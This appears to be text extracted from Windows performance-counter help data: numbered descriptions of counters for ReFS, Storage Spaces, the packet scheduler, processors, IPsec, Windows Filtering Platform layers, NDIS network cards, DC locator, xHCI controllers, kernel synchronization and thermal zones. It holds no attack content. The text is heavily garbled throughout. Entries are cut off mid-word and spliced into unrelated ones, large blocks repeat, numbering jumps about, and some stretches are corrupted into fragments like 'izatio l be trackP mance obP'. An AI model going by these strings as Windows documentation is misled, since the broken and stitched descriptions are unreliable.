ReFS file system performance counters. 2015 The total number of cluster allocations per second. 2017 The number of in place data cluster writes per second. 2019 The number of metadata cluster allocations from the fast tier per second. 2021 The number of metadata cluster allocations from the slow tier per second. 2023 The number of data cluster allocations from the fast tier per second. 2025 The number of data cluster allocations from the slow tier per second. 2027 The number of container destages from the slow tier to the fast tier per second. 20llection. 2141 Total time in nanoseconds it took to complete operations since last collection. 2143 Total bytes transfered since last collection. 2145 Number of operations that took <= 128 s to complete. 2147 Number of operations that took <= 256 s to complete. 2149 Number of operations that took <= 512 s to complete. 2151 Number of operations that took <= 1 ms to complete. 2153 Number of operations that took <= 4 ms to complete. 2155 Number of operations that took <= 16 ms to complete. 2157 Number of operations that took <= 64 ms to complete. 2159 Number of operations that took <= 128 ms to complete. 2161 Number of operations that took <= 256 ms to complete. 2163 Number of operations that took <= 512 ms to complete. 2165 Number of operations that took <= 1 s to complete. 2167 Number of operations that took <= 2 s to complete. 2169 Number of operations that took <= 10 s to complete. 2171 Number of operations that took <= 20 s to complete. 2173 Number of operations that took <= 30 s to complete. 2175 Number of operations that took > 30s to complete. 2177 Total time in nanoseconds for all operations that took <= 128 s to complete. 2179 Total time in nanoseconds for all operations that took <= 256 s to complete. 2181 Total time in nanoseconds for all operations that took <= 512 s to complete. 2183 Total time in nanoseconds for all operations that took <= 1 ms to complete. 2185 Total time in nanoseconds for all operations that took <= 4 ms to complete. 2187 Total time in nanoseconds for all operations that took <= 16 ms to complete. 2189 Total time in nanoseconds for all operations that took <= 64 ms to complete. 2191 Total time in nanoseconds for all operations that took <= 128 ms to complete. 2193 Total time in nanoseconds for all operations that took <= 256 ms to complete. 2195 Total time in nanoseconds for all operations that took <= 512 ms to complete. 2197 Total time in nanoseconds for all operations that took <= 1 s to complete. 2199 Total time in nanoseconds for all operations that took <= 2 s to compleaverage number of seconds per read from the tier. 6775 The average number of concurrent reads from the tier. 6777 The number of bytes read from the tier per second. 6779 The average number of bytes per read from the tier. 6781 The number of writes to the tier per second. 6783 The average number of seconds per write to the tier. 6785 The average number of concurrent writes to the tier. 6787 The number of bytes written to the tier per second. 6789 The average number of bytes per write to the tier. 6791 The number of concurrent transfers from/to the tier. 6793 The number of transfers from/to the tier per second. 6795 The average number of seconds per transfer from/to the tier. 6797 The average number of concurrent transfers from/to the tier. 6799 The number of bytes transferred from/to the tier per second. 6801 The average number of bytes per transfer from/to the tier. 6803 The number of reads from the tier. 6805 The number of writes to the tier. 6807 The number of transfers from/to the tier. 6891 The Storage Spaces Drt performance object consists of counters that show information about Storage Spaces dirty region tracking. 6893 The number of slabs of the virtual disk that are clean. 6895 The number of bytes of the virtual disk that are clean. 6897 The number of slabs of the virtual disk that are dirty. 6899 The number of bytes of the virtual disk that are dirty. 6901 The number of slabs of the virtual disk that are flushing. 6903 The number of bytes of the virtual disk that are flushing. 6905 The number of slabs in of the virtual disk that are flushed. 6907 The number of bytes in of the virtual disk that are flushed. 6909 The number of slabs of the virtual disk that need synchronization. 6911 The number of bytes of the virtual disk that nee izatio l be trackP mance obP cou s that show @ ations performance split b latency buckets on ReFS volumes. 2139 Total number of operat operations. 6813 of c The number of container destages from the fast tier to the slow tier per second. 2031 Current data fill percentage for the slow tier. 2033 Current data fill percentage for the fast tier. 2035 The read latency in 100 ns for slow tier to fast tier destages. 2039 The write latency in 100 ns for slow tier to fast tier destages. 2043 The read latency in 100 ns for fast tier to slow tier destages. 2047 The write latency in 100 ns for fast tier to slow tier destages. 2051 Average slow tier destaged container fill ratio (percentage). 2055 Average fast tier destaged container fill ratio (percentage). 2059 Total time needed to process tree updates while holding exclusive locks in 100 ns 2063 Total time needed to process checkpoints in 100 ns 2067 Number of tree updates per second 2069 Number of checkpoints per second 2071 Number of log writes per second 2073 Current metadata fill percentage for the slow tier. 2075 Current metadata fill percentage for the fast tier. 2077 The fill percentage for the ReFS log. 2079 Total time needed to process trim requests in 100 ns 2083 The number of data compactions per second. 2085 The read latency in 100 ns for data compaction. 2089 The write latency in 100 ns for data compaction. 2093 Average compacted container fill ratio (percentage). 2097 Compactions failed due to ineligible container. 2099 Compactions failed due to an embedded container reaching fragmentation limit of 4. 2101 Number of container moves that had to be retried. 2103 Container moves failed due to ineligible container. 2105 Total number of compaction failures. 2107 Total number of container move failures. 2109 Number of dirty metadata pages. 2111 Number of bindables in lazy writer queue. 2113 Number of entries in the Delete Queue. 2115 Number of entries in the allocator cache. 2117 Entries inserted into the allocator cache. 2119 Entries deleted from the allocator cache. 2121 Allocator cache insertion collision count 2123 Allocator cache purge count 2125 Average number of regions examined per allocation. 2129 Maximum nte. 2201 Total time in nanoseconds for all operations that took <= 10 s to complete. 2203 Total time in nanoseconds for all operations that took <= 20 s to complete. 2205 Total time in nanoseconds for all operations that took <= 30 s to complete. 2207 Total time in nanoseconds for all operations that took > 30s to complete. 2209 Bytes transfered by all operations that took <= 128 s to complete. 2211 Bytes transfered by all operations that took <= 256 s to complete. 2213 Bytes transfered by all operations that took <= 512 s to complete. 2215 Bytes transfered by all operations that took <= 1 ms to complete. 2217 Bytes transfered by all operations that took <= 4 ms to complete. 2219 Bytes transfered by all operations that took <= 16 ms to complete. 2221 Bytes transfered by all operations that took <= 64 ms to complete. 2223 Bytes transfered by all operations that took <= 128 ms to complete. 2225 Bytes transfered by all operations that took <= 256 ms to complete. 2227 Bytes transfered by all operations that took <= 512 ms to complete. 2229 Bytes transfered by all operations that took <= 1 s to complete. 2231 Bytes transfered by all operations that took <= 2 s to complete. 2233 Bytes transfered by all operations that took <= 10 s to complete. 2235 Bytes transfered by all operations that took <= 20 s to complete. 2237 Bytes transfered by all operations that took <= 30 s to complete. 2239 Bytes transfered by all operations that took > 30s to complete. 2013 Information on the ReFS file system performance counters. 2015 The total number of cluster allocations per second. 2017 The number of in place data cluster writes per second. 2019 The number of metadata cluster allocations from the fast tier per second. 2021 The number of metadata cluster allocations from the slow tier per second. 2023 The number of data cluster allocations from the fast tier per second. 2025 The number of data cluster allocations from the slow tier per second. 2027 The number of container destages from the slow tier to the fast tier per second. 20llection. 2141 Total time in nanoseconds it took to complete operations since last collection. 2143 Total bytes transfered since last collection. 2145 Number of operations that took <= 128 s to complete. 2147 Number of operations that took <= 256 s to complete. 2149 Number of operations that took <= 512 s to complete. 2151 Number of operations that took <= 1 ms to complete. 2153 Number of operations that took <= 4 ms to complete. 2155 Number of operations that took <= 16 ms to complete. 2157 Number of operations that took <= 64 ms to complete. 2159 Number of operations that took <= 128 ms to complete. 2161 Number of operations that took <= 256 ms to complete. 2163 Number of operations that took <= 512 ms to complete. 2165 Number of operations that took <= 1 s to complete. 2167 Number of operations that took <= 2 s to complete. 2169 Number of operations that took <= 10 s to complete. 2171 Number of operations that took <= 20 s to complete. 2173 Number of operations that took <= 30 s to complete. 2175 Number of operations that took > 30s to complete. 2177 Total time in nanoseconds for all operations that took <= 128 s to complete. 2179 Total time in nanoseconds for all operations that took <= 256 s to complete. 2181 Total time in nanoseconds for all operations that took <= 512 s to complete. 2183 Total time in nanoseconds for all operations that took <= 1 ms to complete. 2185 Total time in nanoseconds for all operations that took <= 4 ms to complete. 2187 Total time in nanoseconds for all operations that took <= 16 ms to complete. 2189 Total time in nanoseconds for all operations that took <= 64 ms to complete. 2191 Total time in nanoseconds for all operations that took <= 128 ms to complete. 2193 Total time in nanoseconds for all operations that took <= 256 ms to complete. 2195 Total time in nanoseconds for all operations that took <= 512 ms to complete. 2197 Total time in nanoseconds for all operations that took <= 1 s to complete. 2199 Total time in nanoseconds for all operations that took <= 2 s to compleaverage number of seconds per read from the tier. 6775 The average number of concurrent reads from the tier. 6777 The number of bytes read from the tier per second. 6779 The average number of bytes per read from the tier. 6781 The number of writes to the tier per second. 6783 The average number of seconds per write to the tier. 6785 The average number of concurrent writes to the tier. 6787 The number of bytes written to the tier per second. 6789 The average number of bytes per write to the tier. 6791 The number of concurrent transfers from/to the tier. 6793 The number of transfers from/to the tier per second. 6795 The average number of seconds per transfer from/to the tier. 6797 The average number of concurrent transfers from/to the tier. 6799 The number of bytes transferred from/to the tier per second. 6801 The average number of bytes per transfer from/to the tier. 6803 The number of reads from the tier. 6805 The number of writes to the tier. 6807 The number of transfe e St e Sp t sh total number of VTL2 dispatches on the virtual processor. 14813 The total number of bus locks acquired by guest code on the virtual processor. 6513 The Pacer Flow performance counter set consists of flow statistics from the packet scheduler. 6515 The number of packets dropped by the packet scheduler. 6517 The number of packets which got scheduled in some way (rather than just being directly sent to the underlying miniport). 6519 The number of packets from this flow which have been sent. 6521 The number of bytes which got scheduled in some way (rather than just being directly sent to the underlying miniport). 6523 The number of bytes from this flow which have been sent. 6525 The number of bytes per second from this flow which have been sent. 6527 The number of bytes per second from this flow which have been scheduled. 6529 The number of packets per second from this flow which have been sent. 6531 The number of packets per second from this flow which have been scheduled. 6533 The number of packets dropped by the packet scheduler from this flow per second. 6535 The number of packets that have entered the packet scheduler at a rate which exceeded the flow parameters. 6537 The rate at which nonconforming packets have entered the packet scheduler. 6539 The average number of packets in the shaper over the last sampling period. 6541 The maximum number of packets that have ever simultaneously been in the shaper. 6543 The average number of packets in the sequencer over the last sampling period. 6545 The maximum number of packets that have ever simultaneously been in the sequencer. 6547 The maximum number of packets that have been queued in the netcard by this flow. 6549 The average number of packets that have been queued in the netcard by this flow. 6551 The number of packets that have been sent by the packet scheduler at a rate which exceeded the flow parameters. 6553 The rate at which nonconforming packets have been sent by the packet scheduler. 6555 The Pacer Pipe performance counter set consists of pipe statistics fromer priority than standard interrupts. % DPC Time is a component of % Privileged Time because DPCs are executed in privileged mode. They are counted separately and are not a component of the interrupt counters. This counter displays the average busy time as a percentage of the sample time. 2623 % Interrupt Time is the time the processor spends receiving and servicing hardware interrupts during sample intervals. This value is an indirect indicator of the activity of devices that generate interrupts, such as the system clock, the mouse, disk drivers, data communication lines, network interface cards and other peripheral devices. These devices normally interrupt the processor when they have completed a task or require attention. Normal thread execution is suspended during interrupts. Most system clocks interrupt the processor every 10 milliseconds, creating a background of interrupt activity. suspends normal thread execution during interrupts. This counter displays the average busy time as a percentage of the sample time. 2625 DPCs Queued/sec is the average rate, in incidents per second, at which deferred procedure calls (DPCs) were added to the processor's DPC queue. DPCs are interrupts that run at a lower priority than standard interrupts. Each processor has its own DPC queue. This counter measures the rate that DPCs are added to the queue, not the number of DPCs in the queue. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2627 DPC Rate is the rate at which deferred procedure calls (DPCs) were added to the processors DPC queues between the timer ticks of the processor clock. DPCs are interrupts that run at alower priority than standard interrupts. Each processor has its own DPC queue. This counter measures the rate that DPCs were added to the queue, not the number of DPCs in the queue. This counter displays the last observed value only; it is not an average. 2629 % Idle Time is the percentage of time the processor is idle native, privileged mode, is designed for operating system components and allows direct access to hardware and all memory. The operating system switches application threads to privileged mode to access operating system services. This counter displays the average busy time as a percentage of the sample time. 2617 % Privileged Time is the percentage of elapsed time that the process threads spent executing code in privileged mode. When a Windows system service in called, the service will often run in privileged mode to gain access to system-private data. Such data is protected from access by threads executing in user mode. Calls to the system can be explicit or implicit, such as page faults or interrupts. Unlike some early operating systems, Windows uses process boundaries for subsystem protection in addition to the traditional protection of user and privileged modes. Some work done by Windows on behalf of the application might appear in other subsystem processes in addition to the privileged time in the process. 2619 Interrupts/sec is the average rate, in incidents per second, at which the processor received and serviced hardware interrupts. It does not include deferred procedure calls (DPCs), which are counted separately. This value is an indirect indicator of the activity of devices that generate interrupts, such as the system clock, the mouse, disk drivers, data communication lines, network interface cards, and other peripheral devices. These devices normally interrupt the processor when they have completed a task or require attention. Normal thread execution is suspended. The system clock typically interrupts the processor every 10 milliseconds, creating a background of interrupt activity. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2621 % DPC Time is the percentage of time that the processor spent receiving and servicing deferred procedure calls (DPCs) during the sample interval. DPCs are interrupts that run at a lowntly reading events from this session in real-time mode. 2611 The Processor Information performance counter set consists of counters that measure aspects of processor activity. The processor is the part of the computer that performs arithmetic and logical computations, initiates operations on peripherals, and runs the threads of processes. A computer can have multiple processors. On some computers, processors are organized in NUMA nodes that share hardware resources such as physical memory. The Processor Information counter set represents each processor as a pair of numbers, where the first number is the NUMA node number and the second number is the zero-based index of the processor within that NUMA node. If the computer does not use NUMA nodes, the first number is zero. 2613 % Processor Time is the percentage of elapsed time that the processor spends to execute a non-Idle thread. It is calculated by measuring the percentage of time that the processor spends executing the idle thread and then subtracting that value from 100%. (Each processor has an idle thread to which time is accumulated when no other threads are ready to run). This counter is the primary indicator of processor activity, and displays the average percentage of busy time observed during the sample interval. It should be noted that the accounting calculation of whether the processor is idle is performed at an internal sampling interval of the system clock tick. On todays fast processors, % Processor Time can therefore underestimate the processor utilization as the processor may be spending a lot of time servicing threads between the system clock sampling interval. Workload based timer applications are one example of applications which are more likely to be measured inaccurately as timers are signaled just after the ple is taken. tage of elapsed time User mL e is a restricted processing mod signed for/ pplications, environment subsystems, and integral subsystems. The alter by local or remote client 7885 Number of active RDMA connection queues all in inbo izat e of polling iterati 7951 Time % EC threa ing empty po g it 3++S quency of Exclusive releases on Executive Resources. Frequency of Shared releases on Executive Resources. Frequency of convert to shared operations on Executive Resources. Frequency of acquire exclusive attempts on Executive Resources from ExAcquireResourceExclusiveLite. Frequency of first exclusive acquires from ExAcquireResourceExclusiveLite. Frequency of recursive exclusive acquires from ExAcquireResourceExclusiveLite. Frequency of waits during exclusive acquire attempts from ExAcquireResourceExclusiveLite. Frequency of no-waits during exclusive acquire attempts from ExAcquireResourceExclusiveLite. Frequency of acquire shared attempts on Executive Resources from ExAcquireResourceSharedLite. Frequency of recursive exclusive acquires from ExAcquireResourceSharedLite. Frequency of first shared acquires from ExAcquireResourceSharedLite. Frequency of recursive shared acquires from ExAcquireResourceSharedLite. Frequency of waits during acquire attempts from ExAcquireResourceSharedLite. Frequency of no-waits during acquire attempts from ExAcquireResourceSharedLite. Frequency of acquire shared attempts on Executive Resources from ExAcquireSharedStarveExclusive. Frequency of recursive exclusive acquires from ExAcquireSharedStarveExclusive. Frequency of first shared acquires from ExAcquireSharedStarveExclusive. Frequency of recursive shared acquires from ExAcquireSharedStarveExclusive. Frequency of waits during shared acquire attempts from ExAcquireSharedStarveExclusive. Frequency of no-waits during shared acquire attempts from ExAcquireSharedStarveExclusive. Frequency of acquire shared attempts on Executive Resources from ExAcquireSharedWaitForExclusive. Frequency of recursive exclusive acquires from ExAcquireSharedWaitForExclusive. Frequency of first shared acquires from ExAcquireSharedWaitForExclusive. Frequency of recursive shared acquires from ExAcquireSharedWaitForExclusive. Frequency of waits during shared acquire attempts from ExAcquireSharedWaitForExclusive. Frequency of no-waits during exclusive acquire attemp83 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11585 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11587 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11589 Main Mode Negotiation Requests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11591 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11593 Main Mode SAs That Used Impersonation is the number of main mode security associations completed using impersonation since IPsec was last started. 11595 Main Mode SAs That Used Impersonation per Second is the rate of main mode security associations completed using impersonation. 11597 Active Quick Mode SAs is the number of currently active quick mode security associations. 11599 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11601 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11603 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11605 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11607 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11609 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11611 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11613 Active Extended Mode SAs is the number of currently active extended mode security associations. 11615 Pending Extended Mode Negotiations is the number of pending extended mode negotiations. 11617 Extended Mode Negotiations is the number of extended mode negotiations attempted since IPsec was last started. 11619 Extended Mode Negotiations per Second is the rate at FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12189 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12191 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12193 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12195 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12197 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12199 FWPM_LAYER_STREAM_PACKET_V4 12201 FWPM_LAYER_STREAM_PACKET_V6 12203 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12205 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12207 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12209 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12211 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12213 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12215 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12217 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12219 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12221 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12223 FWPM_LAYER_INBOUND_RESERVED2 12225 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12227 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12229 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12231 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12233 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12235 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12237 FWPM_LAYER_IPSEC_V4 12239 FWPM_LAYER_IPSEC_V6 12241 FWPM_LAYER_IKEEXT_V4 12243 FWPM_LAYER_IKEEXT_V6 12245 FWPM_LAYER_RPC_UM 12247 FWPM_LAYER_RPC_EPMAP 12249 FWPM_LAYER_RPC_EP_ADD 12251 FWPM_LAYER_RPC_PROXY_CONN 12253 FWPM_LAYER_RPC_PROXY_IF 12255 FWPM_LAYER_KM_AUTHORIZATION 12257 Sum total of all filters 11571 IPsec AuthIP IPv4 is the set of Internet Protocol security (IPsec) Authenticated IP (AuthIP) counters that apply to traffic and connections over Internet Protocol version 4. 11573 Active Main Mode SAs is the number of currently active main mode security associations. 11575 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11577 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11579 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11581 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 115R_INBOUND_TRANSPORT_V6_DISCARD 12091 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 12093 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 12095 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 12097 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 12099 FWPM_LAYER_STREAM_V4 12101 FWPM_LAYER_STREAM_V4_DISCARD 12103 FWPM_LAYER_STREAM_V6 12105 FWPM_LAYER_STREAM_V6_DISCARD 12107 FWPM_LAYER_DATAGRAM_DATA_V4 12109 FWPM_LAYER_DATAGR _DISCA FWPM ERRO _DISCARD 121R LAYER_INBOUND_ICMP_ERR 12121 FWPM_LAYER OUND_ICMP_ER OUND_ICMP_ERROR_ _DISCARD D_V4_DIS on an interface. 7823 Passive Sent Packets/sec is the average rate, in packets per second, at which the stack requested a transmit on an interface while at PASSIVE_LEVEL. 7825 Sent Complete Packets/sec is the average rate, in packets per second, at which NDIS received a transmit-complete notification from an interface. 7827 Build Scatter Gather List Calls/sec is the average rate, in incidents per second, at which NDIS received a request from an interface to build a scatter gather DMA list. 7829 RSS Indirection Table Change Calls/sec is the average rate, in incidents per second, at which the stack submitted a request to change the RSS indirection table of an interface. 7831 Low Resource Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a receive indication call from an interface with low receive resources. 7833 Low Resource Received Packets/sec is the average rate, in packets per second, at which NDIS received packets from an interface with low receive resources. 7835 Tcp Offload Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a TCP offload receive indication call from a network interface. 7837 Tcp Offload Send Request Calls/sec is the average rate, in incidents per second, at which the TCP/IP protocol requested a TCP offload transmission on a network interface. 7839 Tcp Offload Receive bytes/sec is the average rate, in bytes per second, at which data was delivered by a network interface using the TCP offload receive indication call. 7841 Tcp Offload Send bytes/sec is the average rate, in bytes per second, at which data was delivered to a network interface using the TCP offload send request call. 7843 DPCs Deferred/sec is the average rate, in incidents per second, at which DPCs are deferred from executing immediately to avoid starving usermode threads. 7845 Packets Coalesced/sec is the average rate, in packets per second, at which NDIS received packets that were subjected to coalescing by a network interface before interrupting21 Sent Packets/sec is the average rate, in packets per second, at which the stack requested a transmit on an interface. 7823 Passive Sent Packets/sec is the average rate, in packets per second, at which the stack requested a transmit on an interface while at PASSIVE_LEVEL. 7825 Sent Complete Packets/sec is the average rate, in packets per second, at which NDIS received a transmit-complete notification from an interface. 7827 Build Scatter Gather List Calls/sec is the average rate, in incidents per second, at which NDIS received a request from an interface to build a scatter gather DMA list. 7829 RSS Indirection Table Change Calls/sec is the average rate, in incidents per second, at which the stack submitted a request to change the RSS indirection table of an interface. 7831 Low Resource Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a receive indication call from an interface with low receive resources. 7833 Low Resource Received Packets/sec is the average rate, in packets per second, at which NDIS received packets from an interface with low receive resources. 7835 Tcp Offload Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a TCP offload receive indication call from a network interface. 7837 Tcp Offload Send Request Calls/sec is the average rate, in incidents per second, at which the TCP/IP protocol requested a TCP offload transmission on a network interface. 7839 Tcp Offload Receive bytes/sec is the average rate, in bytes per second, at which data was delivered by a network interface using the TCP offload receive indication call. 7841 Tcp Offload Send bytes/sec is the average rate, in bytes per second, at which data was delivered to a network interface using the TCP offload send request call. 7843 DPCs Deferred/sec is the average rate, in incidents per second, at which DPCs are deferred from executing immediately to avoid starving usermode threads. 7845 Packets Coalesced/sec is the average rate, in packets per second, at successful low-power transitions over the lifetime of the network interface card. The counter includes only transitions from the active high-power state to a low-power state. 7795 The Per Processor Network Interface Card Activity counter set measures network activity of a network interface card per processor. 7797 DPCs Queued/sec is the average rate, in incidents per second, at which NDIS queued a Deferred Procedure Call (DPC) for an interface. 7799 Interrupts/sec is the average rate, in incidents per second, at which NDIS received and serviced hardware interrupts for an interface. 7801 Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a receive indication call from an interface. 7803 Return Packet Calls/sec is the average rate, in incidents per second, at which the stack returned received packets to an interface. 7805 Passive Return Packet Calls/sec is the average rate, in incidents per second, at which the stack returned received packets to an interface while at PASSIVE_LEVEL. 7807 Received Packets/sec is the average rate, in packets per second, at which NDIS received packets from an interface. 7809 Returned Packets/sec is the average rate, in packets per second, at which the stack returned received packets to an interface. 7811 Passive Returned Packets/sec is the average rate, in packets per second, at which the stack returned received packets to an interface while at PASSIVE_LEVEL. 7813 DPCs Queued on Other CPUs/sec is the average rate, in incidents per second, at which the miniport queued a DPC on one CPU from a different CPU. 7815 Send Request Calls/sec is the average rate, in incidents per second, at which the stack requested a transmit on an interface. 7817 Passive Send Request Calls/sec is the average rate, in incidents per second, at which the stack requested a transmit on an interface while at PASSIVE_LEVEL. 7819 Send Complete Calls/sec is the average rate, in incidents per second, at which NDIS received a transmit-complete notification from an interface. 78-required (Windows 2000 or higher) DC locator requests per second. Corresponds to the DS_DIRECTORY_SERVICE_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5907 Number of DS-required (Windows 2008 or higher) DC locator requests per second. Corresponds to the DS_DIRECTORY_SERVICE_6_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5909 Number of DS-required (Windows 2012 or higher) DC locator requests per second. Corresponds to the DS_DIRECTORY_SERVICE_8_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5911 Number of DS-required (Windows 2012 R2 or higher) DC locator requests per second. Corresponds to the DS_DIRECTORY_SERVICE_9_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5913 Number of DS-required (Windows 2016 or higher) DC locator requests per second. Corresponds to the DS_DIRECTORY_SERVICE_10_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5915 Number of try-next-closest-site DC locator requests per second. Corresponds to the DS_TRY_NEXTCLOSEST_SITE flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5917 Number of KeyList-support-required DC locator requests per second. Corresponds to the DS_KEY_LIST_SUPPORT_REQUIRED flag of the DsGetDcName api. Note that a single request may specify multiple flags. 5077 Consists of counters that measure aspects of an interrupter of an xHCI controller. 5079 Number of interrupts generated per second 5081 Number of Interrupt DPCs executed per second 5083 Number of Events processed per DPC 5085 Number of DPCs executed since the interrupter was started 5087 Number of times Event Ring got full since the creation of the device node 5089 Number of times the Interrupt Dpc was requeued to prevent a DPC timeout 5101 Consists of counters that measure aspects of a transferring of an xHCI controller. 5103 Number of transfers completed pul Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11789 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11791 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11793 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11371 WFPv4 is the set of Windows Filtering Platform counters that apply to traffic and connections over Internet Protocol version 4. 11373 Inbound Packets Discarded per Second is the rate at which inbound packets are discarded by the Windows Filtering Platform. 11375 Outbound Packets Discarded per Second is the rate at which outbound packets are discarded by the Windows Filtering Platform. 11377 Packets Discarded per Second is the rate at whic he c Platfo 11385 ecti ires from ExAcquireSharedStarveExclusive. 2739 Frequency of first shared acquires from ExAcquireSharedStarveExclusive. 2741 Frequency of recursive shared acquires from ExAcquireSharedStarveExclusive. 2743 Frequency of waits during shared acquire attempts from ExAcquireSharedStarveExclusive. 2745 Frequency of no-waits during shared acquire attempts from ExAcquireSharedStarveExclusive. 2747 Frequency of acquire shared attempts on Executive Resources from ExAcquireSharedWaitForExclusive. 2749 Frequency of recursive exclusive acquires from ExAcquireSharedWaitForExclusive. 2751 Frequency of first shared acquires from ExAcquireSharedWaitForExclusive. 2753 Frequency of recursive shared acquires from ExAcquireSharedWaitForExclusive. 2755 Frequency of waits during shared acquire attempts from ExAcquireSharedWaitForExclusive. 2757 Frequency of no-waits during exclusive acquire attempts from ExAcquireSharedWaitForExclusive. 2759 Frequency of ExSetResourceOwnerPointer to an exclusive owner. 2761 Frequency of ExSetResourceOwnerPointer to a new shared owner. 2763 Frequency of ExSetResourceOwnerPointer to an existing shared owner. 2765 Frequency of boosting exclusive ownwer when waiting for this Executive Resource. 2767 Frequency of boosting shared ownwer(s) when waiting for this Executive Resource. 2795 The Synchronization performance object consists of counters for kernel synchronization. The synchronization object represents each processor as an instance of the object. The counters are aggregated based on the system NUMA topology. 2797 Spinlock acquires/sec is the rate of spinlock acquisitions. It includes the basic spinlocks, queued spinlocks, in-stack queued spinlocks, and shared spinlocks acquisitions. 2799 Spinlock contentions/sec is the rate of spinlock contentions. It includes the basic spinlocks, queued spinlocks, in-stack queued spinlocks, and shared spinlocks contentions. 2801 Spinlock spins/sec is the rate of spinlock spins. It includes the spins to acquire basic spinlocks, queued spinlocks, in-stack queued spinlocqueued spinlocks, and shared spinlocks contentions. 2689 Spinlock spins/sec is the rate of spinlock spins. It includes the spins to acquire basic spinlocks, queued spinlocks, in-stack queued spinlocks, and shared spinlocks. 2691 IPI Send Broadcast Requests/sec is the rate of IPI broadcast requests. 2693 IPI Send Routine Requests/sec is the rate of IPI routine requests. 2695 IPI Send Software Interrrupts/sec is the rate of software interrupts. 2697 Frequency of initialization operations on Executive Resources. 2699 Frequency of re-initialization operations on Executive Resources. 2701 Frequency of delete operations on Executive Resources. 2703 Frequency of acquire operations on Executive Resources. 2705 Contention rate on Executive Resources. 2707 Frequency of Exclusive releases on Executive Resources. 2709 Frequency of Shared releases on Executive Resources. 2711 Frequency of convert to shared operations on Executive Resources. 2713 Frequency of acquire exclusive attempts on Executive Resources from ExAcquireResourceExclusiveLite. 2715 Frequency of first exclusive acquires from ExAcquireResourceExclusiveLite. 2717 Frequency of recursive exclusive acquires from ExAcquireResourceExclusiveLite. 2719 Frequency of waits during exclusive acquire attempts from ExAcquireResourceExclusiveLite. 2721 Frequency of no-waits during exclusive acquire attempts from ExAcquireResourceExclusiveLite. 2723 Frequency of acquire shared attempts on Executive Resources from ExAcquireResourceSharedLite. 2725 Frequency of recursive exclusive acquires from ExAcquireResourceSharedLite. 2727 Frequency of first shared acquires from ExAcquireResourceSharedLite. 2729 Frequency of recursive shared acquires from ExAcquireResourceSharedLite. 2731 Frequency of waits during acquire attempts from ExAcquireResourceSharedLite. 2733 Frequency of no-waits during acquire attempts from ExAcquireResourceSharedLite. 2735 Frequency of acquire shared attempts on Executive Resources from ExAcquireSharedStarveExclusive. 2737 Frequency of recursive exclusive acque size of the working set, in bytes, that is use for this process only and not shared nor sharable by other processes. 2887 The Thermal Zone Information performance counter set consists of counters that measure aspects of each thermal zone in the system. 2889 Temperature of the thermal zone, in degrees Kelvin. 2891 % Passive Limit is the current limit this thermal zone is placing on the devices it controls. A limit of 100% indicates the devices are unconstrained. A limit of 0% indicates the devices are fully constrained. 2893 Throttle Reasons indicate reasons why the thermal zone is limiting performance of the devices it controls. 2895 Temperature of the thermal zone, in tenths of degrees Kelvin. 2769 The counters in this collection refer to system-wide metrics about the performance of the Event Tracing for Windows subsystem. 2771 Number of distinct event providers 